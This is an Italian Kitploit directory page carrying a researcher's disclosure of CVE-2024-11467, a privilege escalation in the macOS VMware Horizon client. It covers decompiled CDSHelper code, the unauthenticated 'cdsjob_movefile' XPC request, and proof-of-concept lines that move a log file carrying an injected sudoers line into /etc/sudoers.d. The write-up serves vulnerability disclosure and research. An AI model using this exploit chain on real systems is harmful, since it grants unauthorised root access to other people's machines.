Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-11467 — Client VMWare Horizon per macOS con LPE dovuta a un difetto logico XPC. POC tardivo per una 0-day che ho divulgato responsabilmente a Omnissa. | Kitploit
Strumenti/GitHubGitHub/null-event/cve-2024-11467
Escalation di PrivilegiAnalisi delle VulnerabilitàAnalisi del CodiceExploitReverse EngineeringPenetration TestingBinary Exploitation
GitHubnull-event/cve-2024-11467

CVE-2024-11467

Client VMWare Horizon per macOS con LPE dovuta a un difetto logico XPC. POC tardivo per una 0-day che ho divulgato responsabilmente a Omnissa.

Vedi Repository
6 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-11467

Il sistema operativo macOS utilizza i servizi XPC per la comunicazione inter-processo di base tra vari processi, ad esempio tra il demone XPC Service e gli strumenti helper privilegiati di applicazioni di terze parti. Il client VMware Horizon, al momento dell'installazione, registra l'helper privilegiato com.vmware.horizon.CDSHelper nella directory /Library/PrivilegedHelperTools/.

Va inoltre notato che il nome mach di com.vmware.horizon.CDSHelper viene utilizzato dall'helper privilegiato per rimanere in ascolto delle connessioni XPC in arrivo, come mostrato sopra. Successivamente, sono stati utilizzati gli strumenti di sviluppo predefiniti di macOS per estrarre i simboli dal binario dell'helper, al fine di verificare che incorporasse il comportamento XPC:

root@kitploit:~
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc                                                                                       
                 U __xpc_error_connection_invalid
                 U __xpc_error_key_description
                 U __xpc_type_connection
                 U __xpc_type_dictionary
                 U __xpc_type_error
                 U _xpc_connection_create_mach_service
                 U _xpc_connection_get_pid
                 U _xpc_connection_resume
                 U _xpc_connection_send_message
                 U _xpc_connection_set_event_handler
                 U _xpc_dictionary_create_reply
                 U _xpc_dictionary_get_remote_connection
                 U _xpc_dictionary_get_string
                 U _xpc_dictionary_set_int64
                 U _xpc_get_type
                 U _xpc_release

Lo strumento Hopper Disassembler è stato quindi utilizzato per caricare l'helper in un decompilatore per un'ulteriore ingegneria inversa, come mostrato di seguito: open -a /Applications/Hopper\ Disassembler\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper La funzione EntryPoint() è stata individuata e analizzata, confermando che rappresentava il punto di ingresso principale di CDSHelper.

La funzione sub_100005fa0 è stata quindi decompilata, confermando che lo strumento helper privilegiato del client VMware Horizon utilizzava l'API dei servizi XPC — questa è l'API di livello C inferiore fornita da Apple, a differenza dell'API di connessione XPC che risiede sul livello Objective-C/Swift:

root@kitploit:~
int sub_100005fa0(int arg0, int arg1) {
    sub_1000063d4("Starting service: %s\n");
    r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
    xpc_connection_set_event_handler(r0, &var_38);
    r0 = xpc_connection_resume(r20);
    dispatch_main();
    return r0;
}

Dopo la creazione del servizio mach (tramite xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper)), i messaggi tra il client e il servizio XPC del client Horizon vengono scambiati tramite oggetti dizionario XPC creati con il metodo xpc_dictionary_create(). È possibile aggiungere valori a questo dizionario utilizzando i metodi che Apple mette a disposizione degli sviluppatori; questi in genere iniziano con xpc_dictionary_set_. Il client può inviare questi oggetti dizionario XPC al servizio XPC tramite metodi come xpc_connection_send_. Sul lato del servizio XPC del client Horizon, viene registrato un handler in grado di gestire gli oggetti dizionario XPC ricevuti dal client. Questo viene fatto utilizzando il metodo xpc_connection_set_event_handler(). Infine, i valori dell'oggetto dizionario XPC ricevuto vengono letti utilizzando metodi come xpc_dictionary_get_*. Dopo che EntryPoint() di CDSHelper restituisce il controllo, viene chiamata la funzione sub_100056d0:

image

A questo punto, l'esecuzione passa a sub_1000056ec, che gestisce la maggior parte del lavoro di elaborazione dei messaggi XPC in arrivo. L'intera funzione decompilata è riportata di seguito. Le porzioni vulnerabili salienti vengono esaminate subito dopo.

root@kitploit:~
int sub_1000056ec(int arg0, int arg1) {
    r31 = r31 - 0x90;
    var_30 = r24;
    stack[-56] = r23;
    var_20 = r22;
    stack[-40] = r21;
    var_10 = r20;
    stack[-24] = r19;
    saved_fp = r29;
    stack[-8] = r30;
    r19 = arg1;
    var_38 = **___stack_chk_guard;
    sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
    r0 = xpc_dictionary_get_string(r19, "cdsjob");
    if (r0 == 0x0) goto loc_1000057bc;

loc_100005738:
    r20 = r0;
    r0 = sub_1000063d4("CDSHelper:  cdsJob is %s.\n");
    if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;

loc_100005760:
    if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;

loc_100005774:
    if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
            if (**___stack_chk_guard == var_38) {
                    r0 = sub_100005498(r19);
            }
            else {
                    __stack_chk_fail();
            }
    }
    else {
            r0 = sub_100005380(r19, 0x16);
            sub_100006434("NOT_REACHED %s:%d\n");
    }
    return r0;

loc_1000058c4:
    r0 = sub_1000068b8();
    if (r0 == 0x0) goto loc_100005980;

loc_1000058d4:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
    r20 = r0;
    if (r0 == 0x0) goto loc_1000059b0;

loc_1000058f0:
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
    r21 = r0;
    if (r0 == 0x0) goto loc_1000059f8;

loc_100005908:
    sub_1000069b8();
    sub_1000069b8();
    sub_100006998();
    if (0x0 == 0x0) goto loc_100005a60;

loc_100005948:
    sub_100006978();
    sub_1000067b8();
    r0 = "CDSHelper:  Failed to move the file : %s.\n";
    goto loc_100005a00;

loc_100005a00:
    sub_1000063d4(r0);
    goto loc_100005a04;

loc_100005a04:
    r22 = 0x16;
    strerror(0x16);
    sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
    goto loc_100005a24;

loc_100005a24:
    r0 = r19;
    r1 = r22;
    goto loc_100005a2c;

loc_100005a2c:
    r0 = sub_100005380(r0, r1);
    if (**___stack_chk_guard != var_38) {
            __stack_chk_fail();
    }
    return r0;

loc_100005a60:
    sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
    r22 = 0x0;
    goto loc_100005a24;

loc_1000059f8:
    r0 = "CDSHelper:  Invalid parameter of moving: destination dir.\n";
    goto loc_100005a00;

loc_1000059b0:
    sub_1000063d4("CDSHelper:  Invalid parameter of moving: source file.\n");
    r21 = 0x0;
    goto loc_100005a04;

loc_100005980:
    sub_1000063d4("CDSHelper:  Failed to get the invalid file manager.\n");
    r21 = 0x0;
    r20 = 0x0;
    goto loc_100005a04;

loc_100005818:
    r0 = xpc_dictionary_get_string(r19, "vmwareid");
    if (r0 == 0x0) goto loc_100005960;

loc_10000582c:
    r20 = r0;
    r0 = xpc_dictionary_get_string(r19, "path");
    if (r0 == 0x0) goto loc_10000596c;

loc_100005844:
    r21 = r0;
    if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;

loc_10000585c:
    r0 = xpc_dictionary_get_string(r19, "appDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005870:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "tempDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005888:
    sub_100006460();
    sub_1000063d4("CDSHelper:  The cds script %s is running...\n");
    r0 = sub_100005410(&var_60);
    r20 = r0;
    if (r0 == 0x0) {
            r0 = "CDSHelper: The cds script ran successfully!\n";
    }
    else {
            strerror(r20);
            r0 = "CDSHelper: The cds script failed to run : %s!\n";
    }
    goto loc_1000059e8;

loc_1000059e8:
    sub_1000063d4(r0);
    r0 = r19;
    r1 = r20;
    goto loc_100005a2c;

loc_1000059c4:
    r0 = "CDSHelper:  Invalid parameter.\n";
    goto loc_1000059cc;

loc_1000059cc:
    sub_1000063d4(r0);
    r20 = 0x16;
    goto loc_1000059d4;

loc_1000059d4:
    strerror(r20);
    r0 = "CDSHelper: The cds script failed to run : %s!\n";
    goto loc_1000059e8;

loc_100005998:
    sub_1000063d4("CDSHelper:  Invalid script codesigning for %s.\n");
    r20 = 0xd;
    goto loc_1000059d4;

loc_10000596c:
    sub_1000063d4("CDSHelper:  Invalid script path.\n");
    r20 = 0x2d;
    goto loc_1000059d4;

loc_100005960:
    r0 = "CDSHelper:  Invalid vmwareid.\n";
    goto loc_1000059cc;

loc_1000057bc:
    sub_1000063d4("CDSHelper:  Invalid cdsJob.\n");
    strerror(0x16);
    r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
    if (**___stack_chk_guard == var_38) {
            r0 = sub_100005380(r19, 0x16);
    }
    else {
            __stack_chk_fail();
    }
    return r0;
}

Come evidenziato di seguito, l'helper privilegiato ottiene innanzitutto il valore di cdsjob utilizzando il metodo xpc_dictionary_get_string(). A questo punto, ci sono tre possibili stringhe che l'helper privilegiato si aspetta:

  • cdsjob_runscript
  • cdsjob_movefile
  • cdsjob_installpackage
image

Se il confronto delle stringhe restituisce una corrispondenza per cdsjob_movefile, CDSHelper riprende l'esecuzione all'interno di loc_1000058c4, come mostrato di seguito. Vengono verificate altre due stringhe tramite il metodo xpc_dictionary_get_string():

  • cds_movefile_srcfile
  • cds_movefile_dstdir
image

Dopo che l'helper privilegiato ha ottenuto queste due ulteriori stringhe, vengono chiamate tre funzioni aggiuntive in:

  • sub_1000069b8
  • sub_1000069b8
  • sub_100006998 Queste funzioni sono state esaminate passo passo e presentate di seguito. Restituzione di una stringa creata copiando i dati da un dato array C di byte codificati UTF-8 (https://developer.apple.com/documentation/foundation/nsstring/1497379-stringwithutf8string):
root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

Restituzione di una seconda stringa:

root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

Spostamento del file o della directory nel percorso specificato da cds_movefile_srcfile in una nuova posizione in cds_movefile_dstdir (https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath):

root@kitploit:~
void sub_100006998() {
    [r0 moveItemAtPath:r2 toPath:r3 error:r4];
    return;
}

A questo punto, salvo errori del file system, CDSHelper sposta correttamente il file, registra il seguente messaggio e restituisce il controllo: CDSHelper: The cds moving ran successfully! Va notato che, durante questa operazione, l'helper privilegiato non esegue alcun controllo sulla connessione client in arrivo (ad esempio tramite verifica della firma utilizzando la stringa SecRequirement e l'identificatore del pacchetto, l'identificatore del team, la firma del certificato Apple della connessione, ecc.). Pertanto, un attore malintenzionato può avviare una connessione XPC valida e indurre l'helper privilegiato a spostare file arbitrari con privilegi elevati. Ciò introduce la possibilità di escalation dei privilegi fino al compromesso completo del sistema operativo, come mostrato di seguito. I seguenti valori del dizionario XPC sono stati prima impostati e inviati per dimostrare la sovrascrittura arbitraria di file come root:

root@kitploit:~
    xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
    xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
    xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");

Tuttavia, poiché CDSHelper inizializza un oggetto file manager utilizzando defaultManager invece di fileManagerWithAuthorization nella funzione decompilata sub_1000068b8, l'helper privilegiato rispetta la proprietà dei file durante lo spostamento; in altre parole, i file originariamente di proprietà di utenti non root non diventano di proprietà di root durante lo spostamento. Di conseguenza, per escalare i privilegi spostando un file in una directory come /etc/sudoers.d/, un avversario deve individuare un file già di proprietà di root, non scrivibile da tutti, e il cui contenuto possa essere parzialmente controllato prima dello spostamento tramite la funzione CDSHelper. Come mostrato di seguito, è possibile controllare parzialmente il contenuto di /var/log/install.log tramite l'utility da riga di comando logger; si tratta di un file che soddisfa i criteri delle condizioni dello sfruttamento:

root@kitploit:~
» ls -la /var/log/install.log                                                                                                                                                  
-rw-r--r--@ 1 root  admin  420902 Oct 20 18:46 /var/log/install.log

È possibile inserire una riga valida di configurazione sudo nel file di log utilizzando logger, specificando la priorità install.error e aggiungendo una nuova riga tramite un ritorno a capo.

Le righe pertinenti del POC dello sfruttamento (vedere poc.c) per spostare il suddetto file di log nella directory /etc/sudoers.d/ come myfile sono mostrate di seguito:

root@kitploit:~
xpc_object_t my_message;

my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");

Si noti che, alla ricezione di un comando eseguito tramite sudo, il sistema operativo analizzerà il file di log, restituirà a stdout numerosi errori relativi alla sintassi non valida delle voci di log nel processo e, infine, continuerà fino a raggiungere l'unica riga di sintassi valida che è stata iniettata.

Pertanto, lo sfruttamento sposta con successo il file di log iniettato nella directory /etc/sudoers.d/ e dimostra che è possibile toccare un nuovo file situato in /tmp/vmwarebeware tramite sudo, provando con successo l'escalation dei privilegi sul sistema operativo macOS sottostante tramite lo strumento helper privilegiato del client VMware Horizon.

Scarica lo strumento